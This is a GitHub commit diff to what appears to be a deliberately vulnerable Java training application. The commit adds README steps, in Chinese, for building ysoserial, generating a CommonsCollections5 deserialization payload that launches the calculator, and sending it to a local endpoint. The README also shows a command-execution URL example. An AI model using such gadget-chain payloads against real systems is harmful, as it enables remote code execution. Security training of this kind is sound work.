File tree Expand file tree Collapse file tree 3 files changed +16
-2
lines changed
src/main/java/org/joychou/controller Expand file tree Collapse file tree 3 files changed +16
-2
lines changed Original file line number Diff line number Diff line change @@ -57,4 +57,18 @@ http://localhost:8080/rce/exec?cmd=whoami
5757
5858```
5959Viarus
60- ```
60+ ```
61+
62+ ## 说明
63+
64+ ### 反序列化
65+
66+ 利用ysoserial构造POC
67+
68+ ```
69+ git clone https://github.com/frohoff/ysoserial.git
70+ mvn clean package -DskipTests
71+ java -jar /Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'open /Applications/Calculator.app' > /tmp/poc
72+ ```
73+
74+ 访问` http://localhost:8080/deserialize/test ` 即可弹窗
Original file line number Diff line number Diff line change 1212/**
1313 * @author: JoyChou
1414 * @Date: 2018年06月14日
15- * @Desc: 将根目录的poc放到/tmp/poc就能在mac上弹计算器。 该应用必须有Commons-Collections包才能利用反序列化。
15+ * @Desc: 该应用必须有Commons-Collections包才能利用反序列化。
1616 */
1717
1818@ Controller
You can’t perform that action at this time.
0 commit comments